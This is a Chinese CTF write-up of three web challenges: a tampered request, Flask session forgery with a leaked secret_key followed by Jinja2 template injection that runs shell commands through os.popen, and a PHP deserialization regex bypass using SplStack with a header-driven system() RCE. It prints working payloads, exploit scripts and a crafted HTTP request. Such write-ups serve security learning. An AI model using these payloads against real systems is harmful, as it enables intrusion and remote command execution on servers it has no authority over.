前言
新的牢已经出现,怎么能够不去坐。受 “刑期嗅探官” 胡师傅的邀请,来参加这个为期两天的线上赛。这两天恰好课贼多,只能抽空康康了
签到:又一个计算题 | 篡改请求包
题目描述: 这个计算题看起来很简单丫~,可是为什么总是过不去呢。
访问 URL 后是如下页面
什么鬼?要我做这道加法吗。输入100试试,嗯?为啥最后一个0死活输不进去?
判断是前端对输入有限制,那就挂上 Burp Suite,随便发送一个数,然后找到请求包
将内容改成100,然后重发请求。得到了以下响应内容,可以看到响应头中包含了 flag
计算器 | seesion伪造 + ssti
题目描述: 看起平平无奇的计算器,但是又好像内藏玄机。
访问 URL 后是一个计算器
随便试两下就报错了(输入了 1/=
)
内容似乎很长,从开头的 <!doctype html>
来看,是个 HTML 页面。跑到 Burp Suite 里看看究竟是什么
emmm… 真的很多内容,这里只截了一部分。在 Burp Suite 把这个响应内容发到浏览器看看
发现是 flask 的 debug 界面,如果 flask 服务部署时 debug 参数为 True 的话,服务报错时就会弹出这个页面
在这里我们可以阅读到一部分源码(点击深色部分是可以展开看到其上下文的,可能找到一些关键信息)
果然找到了比较关键的信息,获取到了网站的 secret_key
,以及一个敏感路由 /admin
可以看到 /admin
路由会读取 session 中的 username,username 里的内容可能可以加以利用,于是我们使用泄露的 secret_key 来伪造以下 session
{'username':'admin'}
利用 flask-session-cookie-manager
工具即可轻松伪造
我们使用该 cookie 访问 URL/admin
,获得了如下回显
看起来不像是获得了 admin 权限的样子,倒像是使用了模板将 username 的内容渲染到了页面中,可能有模板注入的漏洞,来验证一下
payload: {'username':'{{2*2}}'}
,将 payload 写入 session 后访问,发现回显了 4
,确定存在模板注入
试了一下,这个 ssti 没有任何过滤,直接打就好了
最终 payload: {'username':'{%print lipsum.__globals__[\'os\'].popen(\'cat flag.py\').read()%}'}
伪造成 session 后为 eyJ1c2VybmFtZSI6InslcHJpbnQgbGlwc3VtLl9fZ2xvYmFsc19fWydvcyddLnBvcGVuKCdjYXQgZmxhZy5weScpLnJlYWQoKSV9In0.ZWYbSQ.O_iM_o4w6rPhk7I0osfZn0GPnTQ
成功 Capture the flag
PHP反序列化 | custom object 利用
题目描述: 没错,这就是PHP反序列化,一种很常见的题目类型。
写 WP 的时候靶场已经关了,只好在本地复现,凭记忆写了下代码,用 kali 自带的 Apache2 简单搭了个环境
开题后是如下 php 代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil {
public $cmd;
public $a;
public function __destruct() {
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) {
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])) {
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}
一眼反序列化 + rce,首先有两个正则需要绕
<?php
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy']))
// 绕过这个才能进行反序列化
/^[Oa]:[\d]/i
这个正则还是挺经典的,类似的题目一般尝试以下方法:
- 这个正则如果没有这么严格(不匹配a)的话,我们可以先定义一个数组,再将目标类放入数组中来绕过,这样的话序列化字符串的开头就是小写a了,适用于
/^[O]:[\d]/i
的情况
<?php
class example {
public $n="hello";
}
$a=array(new example());
echo serialize($a);
- 如果靶机 php 版本比较低的话 ( $php版本 \leq 7.2$ ) 可以使用加号绕过这个正则,具体做法如下
O:7:"example":1:{s:1:"n";s:5:"hello";}
改成
O:+7:"example":1:{s:1:"n";s:5:"hello";}
- 但是这题的环境是 php7.3 (从http响应报文里看到的,我本地的环境是php8.2,差不多,反正用不了上面的方法就是了)
此时就要利用 custom object 来绕过
知识点: php 序列化字符串中; O 代表对象; a 代表数组; C 代表”一个全新的类”或”实现了 Serializable 接口的类”。有一些原生类是默认实现了 Serializable 接口的,可以加以利用
首先我们使用如下脚本寻找所有实现了该接口的原生类
<?php
$classes = get_declared_classes();
$serializableClasses = [];
foreach ($classes as $class) {
$reflection = new ReflectionClass($class);
if ($reflection->implementsInterface('Serializable')) {
$serializableClasses[] = $class;
}
}
foreach ($serializableClasses as $class) {
echo $class . PHP_EOL;
}
可以看到以下这些原生类是可以利用的
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
一般来说使用 ArrayObject
就可以了,例如:
<?php
class example {
public $n="hello";
}
$a=new ArrayObject();
$a->a=new example();
echo serialize($a);
// C:11:"ArrayObject":67:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"example":1:{s:1:"n";s:5:"hello";}}}
// 注意, 如果 php 版本较高的话, 不能得到 C 开头的输出, 应该会得到下面的输出
// O:11:"ArrayObject":4:{i:0;i:0;i:1;a:0:{}i:2;a:1:{s:1:"a";O:7:"example":1:{s:1:"n";s:5:"hello";}}i:3;N;}
但是这题过滤了 Array
和 Object
,那可以换成 SplStack
来绕过
<?php
class example {
public $n="hello";
}
$a=new SplStack();
$a->push(new example);
echo serialize($a);
// C:8:"SplStack":43:{i:6;:O:7:"example":1:{s:1:"n";s:5:"hello";}}
好,第一个正则就算是成功绕过了,让我们来看下一个
<?php
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))
// 绕过这个才能 rce
这个判断其实有点像无参 RCE
首先,将 $this->cmd
中的所有字母、下划线和小括号替换成空字符
然后将替换后的字符串执行以下操作:把 连续的一个或多个分号(正则 /;+/)
替换为 VanZZZZY
,接着和 VanZZZZY
比较,若全等就能够执行 rce
意思就是说,$this->cmd
只能包含字母、下划线和小括号,并且需要有一个或以上的分号。相比于传统的无参 RCE,这个判断相对宽松,允许我们用多个分号来依次执行代码。
接下来就到了 RCE 部分了,这里主要问题是如何把拼接进来的非法字符串给去掉
<?php
eval($this->cmd.'givemegirlfriend!');
// 后面的 'givemegirlfriend!' 不是一个合法的 php 语句, 会导致 eval 执行中断
这时我们可以利用 __halt_compiler()
函数来中断编译器的执行
参考文章: https://blog.csdn.net/PlayYoung/article/details/46544919
exit() 和 __halt_compiler() 方法都会退出代码的执行,但是使用 exit() 的文件会解释到文件的结束,如果遇到语法错误就会报错,__halt_compiler() 则不会解释后面的代码。所以你可以在 __halt_compiler() 后面放任何你想放的东西(比如你银行卡账号和密码)而不用考虑语法的问题。
经过测试,rce 字符串后加 ?>
也能起到类似的效果
不过这题不能用,因为不符合 if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))
;以后应该能用上(吧?)
到这里其实就很简单了,变成常规的无参 rce 了, exp 如下
<?php
class evil {
public $cmd="system(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
echo serialize($a);
// C:8:"SplStack":85:{i:6;:O:4:"evil":1:{s:3:"cmd";s:47:"system(end(getallheaders()));__halt_compiler();";}}
- getallheaders 返回一个由所有请求头组成的数组
- end 取出数组的最后一个元素
在请求报文的最后,添加一个恶意的请求头即可,例如
GET /?Pochy=C:8:"SplStack":85:{i:6;:O:4:"evil":1:{s:3:"cmd";s:47:"system(end(getallheaders()));__halt_compiler();";}} HTTP/1.1
Host: 172.17.241.101
rce: ls
最后使用 cat flag.php
,发现没有直接显示 flag,查看源码找到 flag